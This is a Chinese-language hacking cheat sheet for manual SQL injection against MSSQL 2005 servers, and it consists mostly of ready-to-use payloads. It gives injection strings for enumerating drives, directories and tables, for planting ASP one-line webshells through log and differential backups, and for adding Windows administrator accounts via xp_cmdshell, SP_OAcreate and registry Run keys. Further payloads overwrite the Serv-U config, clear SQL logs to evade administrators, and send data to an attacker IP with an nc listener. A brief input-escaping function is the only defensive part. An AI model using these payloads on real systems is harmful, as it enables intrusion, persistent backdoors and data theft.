MSSQL2005手工注入列目录写马
MSSQL2005 手工注入列目录写马
啊 d 能注入的话就不用往下看了
sqlmap 能注入出密码
判断是否支持多行语句以下用法要求支持多行语句才能使用:
;declare @x int--
比如 a.asp?id=1;declare @x int--
key.asp?kwyname=qq%';declare @x int-- and '%'='
返回页面和不加语句时的一样正常说明支持,当然一开始要求是注入点
参数后面加语句,有些过滤了 -- 自己去突破要么不加,过滤了单引号我有办法绕过
建表 p(i 为自动编号 ,a 记录盘符类似 "c:\",b 记录可用字节 , 其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--
URL;insert p exec xp_availablemedia;-- 列出所有驱动器并插入表 p
URL;and (select count(*) from p)>3;-- 折半法查出驱动器总数
URL;and ascii(substring((select a from p where i=1),1,1))=67;-- 折半法查出驱动器名 (注 asc(c)=67)
-- 上面一般用于无显错情况下使用 ------- 以此类推 , 得到所有驱动器名
URL;and (select a from p where i=1)>3;-- 报错得到第一个驱动器名
-- 上面一般用于显错情况下使用 ------- 以此类推 , 得到所有驱动器名
URL;;drop table p;-- 删除表 p
--(2) ****** 查看目录方法 ******
URL;create table pa(m nvarchar(255),i nvarchar(255));-- 建表 pa(m 记录目录 ,i 记录深度)
URL;insert pa exec xp_dirtree ’e:’;-- 列出驱动器 e 并插入表 pa
URL;and (select count(*) from pa where i>0)>-1;-- 折半法查出 i 深度
URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;-- 报错得到深度 i=1 的第一个目录名
-- 上面一般用显错且目录名不为数字情况下使用 -------( 得到第二个目录把 "top 0" 换为 "top 1", 换深度只换 i 就行) 以此类推 , 得到 e 盘的所有目录
URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;-- 折半法查出深度 i=1 的第一个目录名的长度
URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;-- 折半法查出深度 i=1 的第一个目录名的第一个字符长度
-- 上面一般用无显错情况下使用 -------( 得到第二个目录把 "top 0" 换为 "top 1", 换深度只换 i 就行) 以此类推 , 得到 e 盘的所有目录
URL;drop table pa;-- 删除表 pa
---------------------------- 经过上面的方法就可得到服务器所有目录 (这里为连接用户有读取权限目录 )-----------------
--(3) 数据库备份到 Web 目录 (先拿个 WebShell 再说吧 注 : 此为 SQL Server2000)
URL;alter database employ_ set RECOVERY FULL;-- 把当前库 L 设置成日志完全恢复模式
URL;URL;create table s(l image);-- 建表 s
URL;backup log s to disk = ’c:cmd’ with init;-- 减少备分数据的大小
URL;URL;insert s values(’<%execute(request("a"))%>’)-- 在表 s 中插入一句话马
URL;backup log hh to disk = ’e:\web\g.asp’;-- 备分日志到 WEB 路径
URL;drop table s;-- 删除表 s
URL;alter database hh set RECOVERY SIMPLE;-- 把 SQL 设置成日志简单恢复模式
--------------------------------------OK 到此 WebShell 应该到手了 -----------------------------------------------
--(4) 以下为一些注入杂项
----SA 权限:
URL;exec aster.dbo.sp_addlogin hacker;-- 添加 SQL 用户
URL;exec master.dbo.sp_password null,hacker,hacker;-- 设置 SQL 帐号 hacker 的密码为 hacker
RL;exec master.dbo.sp_addsrvrolemember sysadmin hacker;-- 加 hacker 进 sysadmin 管理组
URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;-- 建立一个系统用 hacker 并设置其密码为 hacker
URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker 加入到管理员组
----SQL Server2005 暴库、表、段法 (前提有显错、无显错用折半法)
URL and 0<(select count(*) from master.dbo.sysdatabases);-- 折半法得到数据库个数
URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--
-- 依次提交 dbid = 2.3.4... 得到更多的数据库名
URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);-- 折半法得到表个数 (假设暴出库名 employ)
URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)
-- 假设暴出表名为 "employ_qj" 则在上面语句上加条件 and name not in (’employ_qj’ 以此一直加条件 ....
URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--
-- 假设暴出字段名为 "id" 则在上面语句上加上条件 and name not is(’id’) 以此一直加条件 ....
--------------------- 按上面方法库、表、段的名称都可以得到 ---- 用以上方法可以得到段段里的数据 --------------------
select * from master.dbo.sysdatabases -- 查询数据库
select * from NetBook.dbo.sysobjects where xtype=’u’ -- 查询数据库 NetBook 里的表
select * from NetBook.dbo.syscolumns where id=object_id(’book’) -- 查询 book 表里的字段
---------------------------------------------------------------------------------------------------------------
---------------------------------------SQL 扩展沙盘提权 -----------------------------------
看来 xp_cmdshell 是不能用鸟~ 不过偶们还有 SP_OAcreate 可以用 用 SP_OAcreate 一样可以执行系统命令
在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add’
这段代码就是利用 SP_OAcreate 来添加一个 gydyhook 的系统用户 然后直接提升为管理员权限就 OK 了
提示命令完成成功
直接写
个一句话进去
语句如下
exec master.dbo.xp_subdirs ’d:\web\www.xx.com’;
exec sp_makewebtask ’d:\web\www.XXXX.com\XX.asp’,’select’’<%execute(request("SB"))%>’’ ’
提示命令执行成功偶们看看效果
查询分析器里执行 select * from openrowset(’microsoft.jet.oledb.4.0’,’
;database=c:\windows\system32\ias\ias.mdb’,
’select shell("cmd.exe /c net user admin admin1234 /add")’) 来利用沙盘来添加个管理员 但是事实告诉
我 我的 RP 并不好
嘿嘿 使用 declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end
这段代码就可以把 ServUDaemon.ini 里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去?
直接写一个系统权限的 FTP 帐号 进去
使用 declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL, 《这里添写自己写好的 SU 配置信息 刚才复制的那些都要
写上去》
然后执行一下 成功执行 我们再用存储过程看看写进去没有
OK 我 XXXXXX 成功写进去了一个用户名为 XXXX 密码为空的系统权限的 FTP 然后偶们在 FTP 里执行
quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用 3389 连一下 成功地到服务器权限
然后偶们再用 set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 来清理掉 SQL 日志 免的被管理员发现
------
DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output
EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a
------------------------------MSSQL db_owner 注入利用 xp_regwrite 获得系统权限 ---------------------------------------
xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’
呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入
xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’
---------------------------------------------------------------------------------------------
简单的如 where xtype=’U’,字符 U 对应的 ASCII 码是 85,所以可以用 where xtype=char(85) 代替;
如果字符是中文的,比如 where name=’用户’,可以用 where name=nchar(29992)+nchar(25143) 代替。
------------------------------------------- 备份一句话木马 ----------------------------------------
日志备分 WEBSHELL 标准的七步:
1.InjectionURL’;alter database XXX set RECOVERY FULL-- (把 SQL 设置成日志完全恢复模式)
2.InjectionURL’;create table cmd (a image)-- (新建立一个 cmd 表)
3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (减少备分数据的大小)
4.InjectionURL’;insert into cmd (a) values (’<%%25eval(request("a")):response.end%%25>’)-- (插入一句话木马)
5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (备分日志到 WEB 路径)
6.InjectionURL’;drop table cmd-- (删除新建的 cmd 表)
7.InjectionURL’;alter database XXX set RECOVERY SIMPLE--( 把 SQL 设置成日志简单恢复模式)
注:InjectionURL 是注入点,XXX 是数据库名称.
数据库差异备份代码:
BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)--
dumptransactionpeihuawithno_log--
0.dump transaction 数据库名 with no_log 清空日志
1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s -- 备份数据库,@s 为备份名称 (jmdcw 的 16 进制转换)
3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)-- 将一句话木马 "<%execute(request("l"))%>" 的 16 进制字符插入到表中
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’C:Program FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT -- 对数据库实行差异备份,备份的保存路径暂定为 C 盘目录,文件名为 hsqq.asp。
5、drop table [jm_tmp]-- 删除此表。
--------------------------------------------------- 防 --------------------------------------------
Function SafeRequest(ParaName,ParaType)
’--- 传入参数 ---
’ParaName: 参数名称-字符型
’ParaType: 参数类型-数字型 (1 表示以上参数是数字,0 表示以上参数为字符)
Dim Paravalue
Paravalue=Request(ParaName)
If ParaType=1 then
If not isNumeric(Paravalue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
Paravalue=replace(Paravalue,"’","’’")
End if
SafeRequest=Paravalue
End function
-- 绕过单引号继续注入
URL;declare @cmd sysname select @cmd= 这里为你要执行命令的 16 进制 exec master.dbo.xp_cmdshell @cmd;--
-- 先声明一个变量 cmd,然后把我们的指令赋值给 cmd
--sql server 2005 下开启 xp_cmdshell 的办法
EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ’xp_cmdshell’, 1;RECONFIGURE;
--SQL2005 开启’OPENROWSET’支持的方法:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE;
--SQL2005 开启’sp_oacreate’支持的方法:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE;
在 db 权限并且分离获取 mssql 数据库服务器 ip 的方法
1. 本地 nc 监听 nc -vvlp 80
2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address= 你的 ip,80;’, ’select * from dest_table’) select * from src_table;--
--------------------------------- 以下为检测方法 ---------------------------------
-- 检测可否注入
=============================================================================
URL and 1=1;-- 正常页面
URL and 1=2;-- 出错页面
=============================================================================
-- 检测数据库的
=============================================================================
URL and (select count(*) from sysobjects)>0;-- 返回正常 sql server
URL and (select count(*) from msysobjects)>0;-- 返回正常 Access
=============================================================================
-- 检测路径的
=============================================================================
URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;--
=============================================================================
-- 检测表段的
=============================================================================
URL and exists (select * from admin);--
=============================================================================
-- 检测字段的
=============================================================================
URL and exists (select username from admin) ;--
=============================================================================
-- 检测 ID
=============================================================================
URL and exists (select id from admin where ID=1) ;--
=============================================================================
-- 检测长度的
=============================================================================
URL and exists (select id from admin where len(username)=5 and ID=1);--
=============================================================================
-- 检测是否为 MSSQL 数据库
=============================================================================
URL and exists (select * from sysobjects) ;--
=============================================================================
-- 检测是否为英文 ;--
=============================================================================
URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS 数据库
URL and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1) ;--MSSQL 数据库
=============================================================================
-- 检测英文的范围
=============================================================================
URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS 数据库
URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL 数据库
=============================================================================
-- 检测那个字符
=============================================================================
URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS 数据库
URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL 数据库